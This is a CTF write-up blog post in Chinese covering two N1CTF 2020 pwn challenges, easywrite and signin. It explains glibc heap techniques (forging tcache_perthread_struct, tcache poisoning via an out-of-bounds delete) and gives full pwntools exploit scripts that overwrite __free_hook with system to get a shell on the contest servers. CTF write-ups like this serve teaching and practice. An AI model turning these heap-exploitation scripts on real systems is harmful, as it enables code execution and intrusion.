2020-N1CTF部分PWN解题

前言

tag:hijacking tcache_perthread_struct、libc 2.31、C++、

easywrite是2.31题目,改掉vmmap的地址中 tcache_perthread_struct地址为我们可控内存,写free_hook,进行system(“/bin/sh”)

signin是2.27 C++题目,向前越界leak libc,改对应tcache 0x40的chunk地址为hook,分配写入system

easywrite

题目概述

这道题是2.31的一道题:一开始输出libc地址,可以输入0x2ff长度的字节流到bss段,可以控制这个bss段地址写入任意地址,后面还有一个分配0x40大小chunk并输入的一个操作。

思路

一开始想到的是io attack,进行FSOP,但是调试发现2.31中io_jump的函数全部都将调用函数指针改为调用具体函数了,所以FSOP失效,查看了一些函数都是这样:
例2.29:

例2.31:

可以看到调用函数指针都被改掉了

所以暂时放下FSOP,只能考虑下背的做法。最后想到可以伪造 tcache_perthread_struct,然后通过后面的malloc将hook分配出来。

在这里也可以清楚的知道,2.31对于tcache分配也没有检查。

exp

#coding=utf-8
from pwn import *

debug = 0
context.terminal = ['tmux','split','-h']
context.log_level = "debug"
if debug:
    p = process("./easywrite")
    elf = ELF("./easywrite")
    libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.31.so")
else:
    p = remote("124.156.183.246",20000)
    elf = ELF("./easywrite")
    libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.31.so")

one_gadgets = [0xe6ce3,0xe6ce6,0xe6ce9]

p.recvuntil("gift:0x")
libc.address = int(p.recv(12),16) + 0x7ffff7dc5000 - 0x7ffff7e53c50
success("libc addr ==> "+hex(libc.address))

p.recvuntil("message:")
libc_base = libc.address
static_libc = 0x7ffff7dc5000
# payload = p64(0xfbad1800)+p64(0x00007ffff7fb1643-static_libc+libc_base)*4+p64(0x00007ffff7fb1644-static_libc+libc_base)+p64(0x00007ffff7fb1643-static_libc+libc_base)+p64(libc.search("/bin/sh\x00").next())+p64(0x00007ffff7fb1644-static_libc+libc_base)
# payload+= p64(0)*4+p64(0x00007ffff7fb16a0-static_libc+libc_base)+p64(0x0000000000000001)
# payload+= p64(0xffffffffffffffff)+p64(0x000000000a000000)+p64(0x00007ffff7fb34b0-static_libc+libc_base)
# payload+= p64(0xffffffffffffffff)+p64(0)+p64(0x00007ffff7fb0780-static_libc+libc_base)+p64(0x0000000000000000)*6
# payload+= p64(libc_base+(0x7ffff7fb2560-static_libc)-0x8)+p64(0x00007ffff7dd0680-static_libc+libc_base)+p64(libc.sym['system'])

payload = p64(0x0000000100000000)+p64(7)*17+p64(libc.sym['__free_hook']-9)
# gdb.attach(p)
p.sendline(payload)
p.recvuntil("Where to write?:")
# p.sendline(p64(libc.sym['_IO_list_all']))
# gdb.attach(p)
p.send(p64(libc.address+0x7ffff7fb84f0-static_libc)+"\n"+"/bin/sh;"+p64(libc.sym['system']))
# p.recvuntil("message?:")
# raw_input()
# p.sendline("/bin/sh;"+p64(libc.sym['system']))
# p.sendline(p64(libc.address+0x7ffff7ffdf68-static_libc))
p.interactive()

signin

题目

libc 2.27 C++中的题目,同样类似vector的机制,vector的首指针和当前指针,以及分配的henp尾部指针都存放在bss上,根据当前指针进行写入,如果当前指针和尾部指针相等,那么重新分配更大的chunk。

删除的时候将当前指针-8。

show的时候打印出当前指针-8处的内容

漏洞

漏洞存在于删除的时候没有越界检查,那么就可以无限向上溢出

思路

我们需要创建大于0x420的chunk,进入unsorted bin,通过上溢泄露libc地址。同时在分配的过程中会将chunk释放掉进入tcache中,这样的话就可以继续上溢改tcache pthread header中chunk的地址,这样我们就可以分配到hook地址了。发现执行不了system(“/bin/sh”),那么就直接cat flag即可

exp

#coding=utf-8
from pwn import *
debug = 0
context.terminal = ['tmux','split','-h']
context.log_level = "debug"

se      = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
rl      = lambda                    :p.recvline()
ru      = lambda delims             :p.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00'))
uu64    = lambda data               :u64(data.ljust(8, '\x00'))
itv     = lambda                    :p.interactive()

if debug:
    # p = process("./signin")
    p = process('./signin',env={'LD_PRELOAD':'./libc.so'})
    elf = ELF("./signin")
    libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
else:
    p = remote("47.242.161.199",9990)
    elf = ELF("./signin")
    libc = ELF("./libc.so")

def create(index,number):
    sla(">>","1")
    sla("Index:",str(index))
    sla("Number:",str(number))

def show(index):
    sla(">>","3")
    sla("Index:",str(index))

def delete(index):
    sla(">>","2")
    sla("Index:",str(index))

for i in range(0x101):
    create(1,"1")

for i in range(0x1a0+0x80-30):
    delete(1)
show(1)
libc.address = int(p.recv(15))+0x7ffff7443000-0x7ffff782eca0
success("libc addr ==> "+hex(libc.address))
for i in range(9428):
    delete(1)
create(1,str(libc.symbols['__free_hook']-0x10))
create(2,str(7449354444534474664+0x163-0x7a8))
create(2,"0")
# gdb.attach(p)
create(2,str(libc.sym['system']))
# gdb.attach(p)
create(2,"1")
create(2,"1")
create(2,"1")
create(2,"1")
p.interactive()

  Reprint policy: xiaoxin 2020-N1CTF部分PWN解题

 Previous
2019-D3CTF部分PWN解题 2019-D3CTF部分PWN解题
Summaryezfile:利用UAF来修改stdin的fileno为3,然后再栈溢出控制rdi为.flag然后返回到open fd的位置。这个时候将.flag的内容做为名字输入再打印出来。就可以泄露flag了。注意改到stdin位置和栈地
2020-10-20
Next 
2020-西湖论剑部分PWN解题 2020-西湖论剑部分PWN解题
0x01 summarymmutage:两个洞一个double free和栈溢出,栈溢出后面接一个输出可以leak canary,由于给了栈地址并且可以edit stack所以可以double free改fd到stack上,这样就可以rop
2020-10-20
  TOC